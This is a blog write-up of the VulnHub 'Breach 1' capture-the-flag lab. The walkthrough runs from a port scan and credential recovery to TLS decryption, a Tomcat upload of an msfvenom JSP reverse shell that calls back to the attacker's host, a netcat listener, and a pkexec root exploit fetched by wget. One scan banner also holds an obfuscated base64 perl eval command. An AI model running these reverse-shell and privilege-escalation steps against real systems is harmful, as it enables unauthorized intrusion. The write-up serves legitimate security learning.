Breach 1

Posted Oct 10, 2023 Updated Sep 10, 2024

Breach 1 -> https://www.vulnhub.com/entry/breach-1,152/

By Shivendra Prajapati

19 min read

Description ⤵️

This Machine is from VulnHub Platform, and categorized as Easy-Intermediate Level. To set the Host Only Adapter got to VirtualBox > Tools > Network and then follow this image :
Follow the Path that are marked through numbers
Now click ok and set the Host machine with that network and you are good to go !!

Port Scan Results ⤵️

Too many ports are open on this system so I scanned TOP 100 ports here →

  
┌──(kali㉿kali)-[~/Downloads/Vulnhub/Breach/1]
└─$ sudo nmap -sC -sV --top-ports 100 192.168.110.140 
Nmap scan report for 192.168.110.140
Host is up (0.0026s latency).

PORT      STATE SERVICE          VERSION
7/tcp     open  echo?
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0fffffffffffff777778887777777777cffffffffffffffffffff00
9/tcp     open  discard?
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0ffffffffff80000088808000000888800000008887ffffffffff00
13/tcp    open  daytime?
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0ffffffff000000888000000000800000080000008800007fffff00
21/tcp    open  ftp?
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_ftp-syst: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0f7000f800770008777000000000000000f80008f7f70088000cf00
|_ftp-anon: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
22/tcp    open  ssh?
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0f8008c008fff8000000000000780000007f800087708000800ff00
23/tcp    open  telnet?
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0f8008707ff07ff8000008088ff800000000f7000000f800808ff00
25/tcp    open  smtp?
|_smtp-commands: SMTP EHLO nmap.scanme.org: failed to receive data: connection closed
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0ff0808800cf0000ffff70000f877f70000c70008008ff8088fff00
26/tcp    open  rsftp?
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0ff70800008ff800f007fff70880000087f70000007fcf7007fff00
37/tcp    open  time?
| fingerprint-strings: 
|   NULL: 
|_    550 12345 0fffffffffffc8088888008cffffff7887f87ffffff800000ffff00
53/tcp    open  domain?
| fingerprint-strings: 
|   NULL: 
|_    550 4m2v4 FUZZ_HERE
|_dns-nsid: ERROR: Script execution failed (use -d to debug)
79/tcp    open  http             Mini web server ren_ (ZTE ZXV10 W300 ADSL router http config)
| finger: HTTP/1.0 200 OK\x0D
| Server: Mini web server ren_ ZTE corp 2005.\x0D
|_
|_http-server-header: Mini web server ren_ ZTE corp 2005.
|_http-title: Site doesnt have a title.
80/tcp    open  http             Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Welcome to Breach 1.0
81/tcp    open  telnet           APC PDU/UPS devices or Windows CE telnetd
| fingerprint-strings: 
|   NULL: 
|     OMAJBeBY Ver. Dn (c) Copyright 47Redline Communications Inc.
|_    Username:0
88/tcp    open  kerberos-sec?
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.0 200 OKu
|     Server: ZOT-PS-11/388393917
|_    <head><!-- Simon Hung, Zero One Tech. 98/8 -->
106/tcp   open  telnet           BusyBox telnetd 1.00-pre7 - 1.14.0
| fingerprint-strings: 
|   NULL: 
|_    FVSklogin:
110/tcp   open  pop3pw           Mercury/32 poppass service
111/tcp   open  telnet
| fingerprint-strings: 
|   NULL: 
|     ArrowKey Or AZ:Move Cursor, Enter:Select, ESC:Escape, L:Line Draw, X:Redraw 
|     [?25l
|_    +Areca Technology Corporation RAID Controller
113/tcp   open  ident?
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.0 499 Access Denied.
|     Content-Length: 0r
|     Content-Type: text/html
|     Connection: close
|_    <HTML><TITLE>Access Denied</TITLE><H2>Navi Error. Access Denied.</H2><BODY><P>Please check the typed URL.</P></BODY></HTML>
119/tcp   open  nntp?
| fingerprint-strings: 
|   NULL: 
|     ={74}
|     Transition Networks Telnet Server
|     System name: SMKG-PKGEAST-fIQhKkc
|     Press CTRL-D to disconnect.
|_    Enter password:
135/tcp   open  smtp             INDY smtpd
|_smtp-commands: SMTP EHLO nmap.scanme.org: failed to receive data: connection closed
139/tcp   open  http             RapidLogic httpd 621 (VG112-D51 VoIP CPE http config)
|_http-title: Site doesnt have a title.
|_http-server-header: RapidLogic/621
143/tcp   open  http             Aladdin/SafeNet HASP license manager wlKTOkJzC
|_http-server-header: HASP LM/wlKTOkJzC
|_http-title: 403 Forbidden
|_imap-capabilities: CAPABILITY
144/tcp   open  news?
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.1 200 OK
|     Connection: close
|     <HTML>
|     <HEAD><TITLE>Siemens Sm@rtClient Desktop [WinVNC]</TITLE></HEAD>
|     <BODY>
|     <APPLET CODE=VncViewer.class ARCHIVE=VncViewer.jar WIDTH=8HEIGHT=9
|     <PARAM NAME="PORT" VALUE="8">
|     </APPLET><BR>
|     </BODY>
|_    </HTML>
179/tcp   open  ssh              (protocol 331328539)
| fingerprint-strings: 
|   NULL: 
|_    SSH-331328539-ReflectionForSecureIT_LLLCe
199/tcp   open  http             AEG Powersolutions UPS View http viewer
|_http-server-header: qHTTPs
389/tcp   open  http             Sandpiper Footprint http load balancer 30213
|_http-server-header: Footprint 30213/FPMCP
|_http-title: Site doesnt have a title.
427/tcp   open  telnet           LinuxNode telnetd 893354
443/tcp   open  https?
| fingerprint-strings: 
|   NULL: 
|     000Sonork Server VU)NcnY ready
|     0000000000000000000000000000000000000000000SGI=0000
|     000000000
|_    (?00000000
444/tcp   open  imap             UW imapd
|_imap-capabilities: CAPABILITY
445/tcp   open  microsoft-ds?
| fingerprint-strings: 
|   NULL: 
|     #connected,all connect count: 1{"event":"device_status","data":{"wifi_name":"P
|_    ","wifi_signal":3"battery":6"batterycharging":n"gsm_signal":4"sms_unread":1"sdcard":2"updateinfo":null}}"
465/tcp   open  http             ACOS httpd 685928063 (Foxconn VoIP TRIO 3C http config)
|_http-title: Site doesnt have a title (text/html; charset=BIG5).
|_smtp-commands: SMTP EHLO nmap.scanme.org: failed to receive data: connection closed
|_http-server-header: ACOS HTTPD/685928063
513/tcp   open  icy              SHOUTcast server 05 (Name: x?)
514/tcp   open  pop3             Classic Hamster pop3d (Permission denied)
515/tcp   open  http             PMSoftware Simple Web Server RjmgUsaRF
|_http-title: Site doesnt have a title.
|_http-server-header: PMSoftware-SWS/RjmgUsaRF
543/tcp   open  http             Linksys WAGln WAP http config
|_http-title: Site doesnt have a title.
|_http-server-header: <empty>
| http-auth: 
| HTTP/1.0 401 Unauthorized\x0D
|_  Basic realm=Linksys WAGln
544/tcp   open  ssh              (protocol 06128519)
| fingerprint-strings: 
|   NULL: 
|_    SSH-06128519-ChWiXrad
548/tcp   open  http             Mbedthis-Appweb ho (Juniper router http config; PHP ZTbc; name EfVXptgE)
|_afp-serverinfo: ERROR: Script execution failed (use -d to debug)
|_http-server-header: Mbedthis-Appweb/ho
554/tcp   open  ftp              Blackjumbodog FTPd ...D
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
587/tcp   open  submission?
|_smtp-commands: SMTP EHLO nmap.scanme.org: failed to receive data: connection closed
| fingerprint-strings: 
|   NULL: 
|     220-TiMOS-B-fPyFu both/hops ALCATEL SR mkDnjR Copyright (c) 68Alcatel-Lucent.
|     220-All rights reserved. All use subject to applicable license agreements.
|     220-Built on i by builder in /relWPBqOxbR/vq/ZXdJhoqNC/panos/main
|     220-
|     220-This is a Maxcom, system restricted to authorized individuals. This system is subject to monitoring. Unauthorized users, access, and/or modification will be prosecuted.
|_    server ready
631/tcp   open  http             JBidWatcher httpd 135 (Java)
|_http-server-header: JBidWatcher/135 (Java)
|_http-title: Site doesnt have a title.
| http-auth: 
| HTTP/1.1 401 Authorization Required
|_  Basic realm=JBidWatcher
646/tcp   open  telnet
| fingerprint-strings: 
|   NULL: 
|     +Welcome to Viking 
|_    GlobespanVirata Inc., Software Release x
873/tcp   open  pop3pw           Post.Office pop3pw 1381
990/tcp   open  http             WindWeb 1NwoPtjYv (Home Gateway router http config)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: WindWeb/1NwoPtjYv
993/tcp   open  telnet           AIX telnetd
|_imap-capabilities: CAPABILITY
995/tcp   open  http             Teros application firewall
|_http-title: Error
1025/tcp  open  NFS-or-IIS?
| fingerprint-strings: 
|   NULL: 
|     HTTP/0.0 400 Bad Request
|_    Server: MPTMhs 7Service Pack 7 UPnP/665290077, TVersity Media Server
1026/tcp  open  http             nginx
|_http-title: Site doesnt have a title (text/html; charset=utf-8).
1027/tcp  open  http             VMware VirtualCenter httpd 15
1028/tcp  open  http             D-Link DGE-530T network adapter http config
|_http-title:  Broadband NAT Router Web-Console           
1029/tcp  open  http             Tandberg video conferencing http config
1110/tcp  open  nfsd-status?
| fingerprint-strings: 
|   NULL: 
|_    WWWOFFLE Incorrect Password
1433/tcp  open  ms-sql-s?
| fingerprint-strings: 
|   NULL: 
|     GET %2HTTP%2.0
|_    p/SliMP3 MP3 player/ i|http://wwwyslimdeviceskcom
1720/tcp  open  telnet
1723/tcp  open  ipp              Dell Laser Printer 1700n ippd
|_http-title: Dell Laser Printer 1700n
1755/tcp  open  wms?
| fingerprint-strings: 
|   NULL: 
|     NOTICE AUTH :*** Looking up your hostname...
|     NOTICE AUTH :*** Checking Ident
|_    NOTICE AUTH :*** ?:Couldnt look up|Found your hostname
1900/tcp  open  jd-gui           JD-GUI Java decompiler 0.3.3
2000/tcp  open  cisco-sccp?
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.345 c
|_    Server: Minix httpd c
2001/tcp  open  rtsp             Geovision webcam rtspd
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
2049/tcp  open  http-proxy       Freenet FProxy (node id qIga)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
2121/tcp  open  ccproxy-ftp?
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.1 200 OK
|     pSERVER: EPSON_Linux UPnP/0983495 Epson UPnP SDK/8
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN "
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|_    <meta name="Author" content="SEIKO EPSON">
2717/tcp  open  pn-requester?
| fingerprint-strings: 
|   NULL: 
|     version
|_    bindaPowerDNS Recursor 28896164
3000/tcp  open  irc-proxy        dircproxy
3128/tcp  open  squid-http?
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.1 200 OK
|     MIME-Version: 1.0
|     Server: JC-HTTPD/zq
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 1r
|     Accept-Ranges: none
|     <html>
|     <head>
|_    <title>SX-h/title>
3306/tcp  open  mysql?
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_mysql-info: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.1 302 Moved Temporarily
|     Connection: Close
|     Server: Day-Servlet-Engine/HanQiZ 
|     Date: e
|_    Location: http://71433:4welcome.html
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
3389/tcp  open  ms-wbt-server?
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.0 200 OK
|     Content-length: 6r
|     Content-type: text/html
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
|     <HTML>
|     <HEAD>
|     <TITLE>ADSL ROUTER Control Panel</TITLE>
|_    </HEAD>
3986/tcp  open  telnet           Nortel-LG VoIP IAD telnetd
4899/tcp  open  ftp
| fingerprint-strings: 
|   NULL: 
|_    220 lm GridFTP Server I (gcck 92849) [Globus Toolkit XTdMBzSKV] ready.
5000/tcp  open  http-proxy       NetApp NetCache http proxy ma
|_http-title: Site doesnt have a title (text/html).
5009/tcp  open  telnet           BusyBox telnetd 1.00-pre7 - 1.14.0
| fingerprint-strings: 
|   NULL: 
|     dm500 Jade 1(based on hEo_QII)
|     welcome on your dreambox! - Kernel O_hWr (2555).
|_    dm500 login:
5051/tcp  open  ida-agent?
5060/tcp  open  http             CrushFTP DAV httpd (User a)
|_http-title: Site doesnt have a title.
5101/tcp  open  http             SilverStream Application Server httpd 55
|_http-title: Site doesnt have a title.
|_http-server-header: SilverStream Server/55
5190/tcp  open  aol?
| fingerprint-strings: 
|   NULL: 
|     r00000
|_    ERR(NOT SUPPORTED)
5357/tcp  open  http             Boa httpd (BillionGuard router)
|_http-server-header: Embedded HTTP Server.
|_http-title: 400 Bad Request
5432/tcp  open  http             Icecast streaming media server (SeKIFtCJ [Station])
5631/tcp  open  ftp              Hay Systems HSL 2.75G Femtocell ftpd
5666/tcp  open  ftp              Minolta PagePro 20 printer ftpd E
5800/tcp  open  ssh              (protocol 45365220)
| fingerprint-strings: 
|   NULL: 
|_    SSH-45365220-510 F-Secure SSH Windows NT Server
5900/tcp  open  http             Z-World Rabbit microcontroller httpd (Redline AN-50 wireless bridge http config)
| http-auth: 
| HTTP/1.0 401 Unauthorized\x0D
|_  Basic realm=
|_http-title: Site doesnt have a title.
6000/tcp  open  http             Hitachi Web Server httpd
6001/tcp  open  pop3-proxy       InterScan VirusWall pop3 proxy
6646/tcp  open  imap
|_imap-capabilities: CAPABILITY
| fingerprint-strings: 
|   NULL: 
|_    * OK Domino IMAP4 Server Release 0ryyMXNbKi +ready +h
7070/tcp  open  http             HP/Compaq Integrated Lights-Out http config
8000/tcp  open  smtp
|_smtp-commands: SMTP EHLO nmap.scanme.org: failed to receive data: connection closed
| fingerprint-strings: 
|   NULL: 
|_    220 o ESMTP MDaemon 587569621?: UNREGISTERED?; c
8008/tcp  open  http             Belkin N1 F5D8231-4 WAP http config
|_http-server-header: httpd
8009/tcp  open  telnet           Qualisys Oqus 300 camera telnetd
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp  open  http-proxy?
| fingerprint-strings: 
|   NULL: 
|_    /bin/bash -c {perl,-e,$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkVEXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcmVjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==} $_=$ARGV[0];~s/SPACE/ /ig;eval;$_=$ARGV[1];eval(decode_base64($_));
8081/tcp  open  blackice-icecap?
| fingerprint-strings: 
|   NULL: 
|_    OK0100 eXtremail V692 release 7REMote management ...
8443/tcp  open  ssl/https-alt?
|_ssl-date: 2023-10-05T15:25:40+00:00; +5h31m08s from scanner time.
| ssl-cert: Subject: commonName=Unknown/organizationName=Unknown/stateOrProvinceName=Unknown/countryName=Unknown
| Not valid before: 2016-05-20T17:51:07
|_Not valid after:  2016-08-18T17:51:07
8888/tcp  open  ssh              ProFTPD mod_sftp Jwd-l (protocol 2.0)
9100/tcp  open  jetdirect?
9999/tcp  open  http             awarrenhttp httpd et (Cyberoam CR200 SSL VPN)
|_http-server-header: awarrenhttp/et
|_http-title: Site doesnt have a title.
10000/tcp open  http             KGet download manager http interface
|_http-title: Site doesnt have a title.
|_http-server-header: KGet
| http-auth: 
| HTTP/1.1 401 Authorization Required\x0D
|_  Basic realm=KGet Webinterface Authorization
32768/tcp open  ftp              Intermec PM4i printer ftpd 030864
49152/tcp open  imap             UW imapd 17B
|_imap-capabilities: CAPABILITY
49153/tcp open  smtp
|_smtp-commands: SMTP EHLO nmap.scanme.org: failed to receive data: connection closed
| fingerprint-strings: 
|   NULL: 
|_    220 tijm ESMTP e-CSqL
49154/tcp open  telnet           Huawei STC router telnetd
49155/tcp open  http             AkamaiGHost (Akamais HTTP Acceleration/Mirror service)
49156/tcp open  http             Microsoft IIS httpd 3.X
|_http-title: Site doesnt have a title (text/html).
49157/tcp open  unknown
| fingerprint-strings: 
|   NULL: 
|     HTTP/1.0 200 OK
|     Date: 3}x</head>
|     <body>
|     <p>You will automatically be redirected to a secure connection in 2 seconds.</p>
|     </body>
|_    </html>
9 services unrecognized despite returning data.

Web Enumeration ⤵️

I checked the port 80 and I got this simple page but it source code contains something →

Source code →

I decoded it with base64 from Cyberchef Tool through online and I got some credentials →

pgibbons:damnitfeel$goodtobeagang$ta

Now with directory or files bruteforcing I also got some data rather I say urls like this →

  
┌──(kali㉿kali)-[~/Downloads/Vulnhub/Breach/1]
└─$ cat Ferox_80 
301      GET        9l       28w      318c http://192.168.110.140/images => http://192.168.110.140/images/
200      GET       27l       66w      769c http://192.168.110.140/initech.html
MSG      0.000 feroxbuster::heuristics detected directory listing: http://192.168.110.140/images (Apache)
200      GET      147l      684w    60014c http://192.168.110.140/images/milton_beach.jpg
200      GET       26l      147w     1098c http://192.168.110.140/
200      GET      459l     2616w   226735c http://192.168.110.140/images/initech.jpg
200      GET     1325l     7636w   583611c http://192.168.110.140/images/bill.png

I checked the URL http://192.168.110.140/initech.html and I also get redirected to another CMS site through clicking on Employee Portal tab →

Now this CMS name is ImpressCMS and this contains Login page so lets use that credentails here →

After Login I ckecked on Inbox there are 3 mails so I checked the 3rd one and I got some File related data like this →

I downloaded this data and it is keystore data related to SSL keys →

I searched on web related to IT and I got this →

Java Keystore

A Java KeyStore is a file that contains certificates. These certificates are used in the Java code. KeyStore and the certificates within it are used to make secure connections from the Java code. The certificates stored can be in several formats. A Java KeyStore is represented by the KeyStore(java.security.KeyStore) class.

For Example- If we wish to make an API call over HTTP, the server provides us with a certificate containing the public key and our code has to decide whether it trusts the certificate or not.

KeyStore stores the following type of data-

Private Keys
Public Keys and certificates
Secret Keys

There is a buildin tool in kali for the key extraction that is called keytool .

But I need the password so I again searched for anything related to keystore, SSL and I got this →

Now lets use this Tool keytool and generate a private key out of the .keysone file →

  
┌──(kali㉿kali)-[~/Downloads/Vulnhub/Breach/1]
└─$ keytool -importkeystore -srckeystore .keystone -destkeystore keystore.p12 -deststoretype PKCS12 -srcalias tomcat -deststorepass tomcat -destkeypass tomcat
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Importing keystore .keystone to keystore.p12...
Enter source keystore password:

Now I have the keystore.p12 as a private key can be used to implement SSL/TLS connections and in this case we are using it to make a TLS decoder through including this into the wireshark file and can see the decoded data out of it then →

After implementation of TLS decoder on wireshark I can see the decoded data through TLS Stream so I did and got this data →

I got this Authorized data and I decoded it with base64 encoding and I got this →

After decode I got this →

  
tomcat:Tt\5D8F(#!*u=G)4m7zB

Now Lets load that site where I got the credentials from →

I was getting error while loading this page I think due to SSL certificate problem so for resolving that I turned on the proxy and then loaded the site and with CA certificate I proceeded to open the site →

Now I entered those credentials like this →

and I got in the site →

So lets upload the msfvenom payload for reverse shell access →

I used this payload in this case →

  
┌──(kali㉿kali)-[~/Downloads/Vulnhub/Breach/1]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.3 LPORT=4444 -f war -o shell.war
Payload size: 1087 bytes
Final size of war file: 1087 bytes
Saved as: shell.war

I loaded this url and I got the call back →

As a Response I got this →

  
┌──(kali㉿kali)-[~/Downloads/Vulnhub/Breach/1]
└─$ nc -lvnp 4444      
listening on [any] 4444 ...
connect to [192.168.110.3] from (UNKNOWN) [192.168.110.140] 43040
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat6@Breach:/var/lib/tomcat6$ whoami
whoami
tomcat6
tomcat6@Breach:/var/lib/tomcat6$ id
id
uid=104(tomcat6) gid=112(tomcat6) groups=112(tomcat6)
tomcat6@Breach:/var/lib/tomcat6$

I looked for SUIDs now and I got one pkexec so I checked its version and since it is vulnerable so I exploited it and tried to get the root →

  
tomcat6@Breach:/$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/fusermount
/bin/umount
/bin/ping6
/bin/mount
/bin/ping
/usr/bin/mtr
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/authbind/helper
/usr/sbin/uuidd
/usr/sbin/pppd
tomcat6@Breach:/$ which gcc
/usr/bin/gcc
tomcat6@Breach:/$ pkexec --version
pkexec version 0.105
tomcat6@Breach:/$ cd /tmp
tomcat6@Breach:/tmp$

I used this exploit for pkexec exploitation and tranfered all the files into victim machine →

  
tomcat6@Breach:/tmp$ wget http://192.168.110.3/fake_module.c
--2023-10-05 10:47:37--  http://192.168.110.3/fake_module.c
Connecting to 192.168.110.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 576 [text/x-csrc]
Saving to: ‘fake_module.c’

 0% [                                       ] 0           --.-K100%[======================================>] 576         --.-K/s   in 0.001s  

2023-10-05 10:47:37 (391 KB/s) - ‘fake_module.c’ saved [576/576]

tomcat6@Breach:/tmp$ ls
expl.sh  fake_module.c	helper.c  hsperfdata_tomcat6  tomcat6-tomcat6-tmp
tomcat6@Breach:/tmp$ chmod +x *
tomcat6@Breach:/tmp$ ./expl.sh 
Pwned!
# /bin/bash -i
root@Breach:/tmp# whoami
root
root@Breach:/tmp# id
uid=0(root) gid=0(root) groups=0(root),112(tomcat6)
root@Breach:/tmp# cd /root
root@Breach:/root# ls -al
total 60
drwx------  4 root root  4096 Jun 12  2016 .
drwxr-xr-x 22 root root  4096 Jun  4  2016 ..
-rw-------  1 root root   115 Jun 12  2016 .bash_history
-rw-r--r--  1 root root  3106 Feb 19  2014 .bashrc
drwx------  2 root root  4096 Jun  6  2016 .cache
-rw-r--r--  1 root root   840 Jun 11  2016 .flag.txt
-rw-r--r--  1 root root   140 Feb 19  2014 .profile
drwxr-xr-x  2 root root  4096 Jun  5  2016 .rpmdb
-rw-r--r--  1 root root    66 Jun  4  2016 .selected_editor
-rw-r--r--  1 root root 23792 Jun  4  2016 flair.jpg
root@Breach:/root# cat .flag.txt 
-----------------------------------------------------------------------------------

______                     _     __   _____      _____ _          _____          _ 
| ___ \                   | |   /  | |  _  |    |_   _| |        |  ___|        | |
| |_/ /_ __ ___  __ _  ___| |__ `| | | |/' |______| | | |__   ___| |__ _ __   __| |
| ___ \ '__/ _ \/ _` |/ __| '_ \ | | |  /| |______| | | '_ \ / _ \  __| '_ \ / _` |
| |_/ / | |  __/ (_| | (__| | | || |_\ |_/ /      | | | | | |  __/ |__| | | | (_| |
\____/|_|  \___|\__,_|\___|_| |_\___(_)___/       \_/ |_| |_|\___\____/_| |_|\__,_|

'-----------------------------------------------------------------------------------
Congrats on reaching the end and thanks for trying out my first #vulnhub boot2root!

Shout-out to knightmare, and rastamouse for testing and g0tmi1k for hosting. 

root@Breach:/root#

Keystore part was new for me , learned alot.

Implementing on wireshark was also new for me .

If you have any questions or suggestions, please leave a comment below. Thank You !

VulnHub

This post is licensed under CC BY 4.0 by the author.